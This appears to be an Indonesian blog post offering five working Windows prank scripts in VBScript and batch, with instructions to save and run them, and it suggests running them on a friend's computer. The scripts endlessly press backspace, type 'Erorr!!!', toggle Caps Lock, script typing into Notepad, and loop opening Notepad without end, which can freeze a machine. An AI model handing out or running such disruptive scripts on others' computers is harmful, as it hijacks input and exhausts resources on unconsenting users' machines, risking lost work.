Scrip usil banget part 1

Nah ini scrip usil banget part 1 perlu di cobak di komputermu sendiri  pasti makyus atau komputer temenmu pasti akan kena jitak kepalamu, aku ga ikut campur lo klau ada apa-apa Ho5.  

Script 1
MsgBox "kembali ke menu sebelumnya"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
Simpan dengan (.vbs)
Keterangan : bikin tombol backpace nekan melulu

Script 2
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "Erorr!!!"
loop
Simpan dengan (.vbs)
Keterangan : bikin otomatis ngetik "eror" di Notepad/Word

Script 3
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
Simpan dengan (.bat)
Keterangan : membuat supaya buka notepad melulu

Script 4
WScript.Sleep 1800
WScript.Sleep 100
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 10
WshShell.AppActivate "Notepad"
WScript.Sleep 50
WshShell.SendKeys "E"
WScript.Sleep 50
WshShell.SendKeys "R"
WScript.Sleep 50
WshShell.SendKeys "O"
WScript.Sleep 50
WshShell.SendKeys "R "
WScript.Sleep 50
WshShell.SendKeys "R "
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!"
Simpan dengan (.vbs)
Keterangan : membuat setiap kali buka notepad otomatis ngetik yang kalian mau

Script 5
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
Simpan dengan (.vbs)
Keterangan : mainin capslock

1 komentar: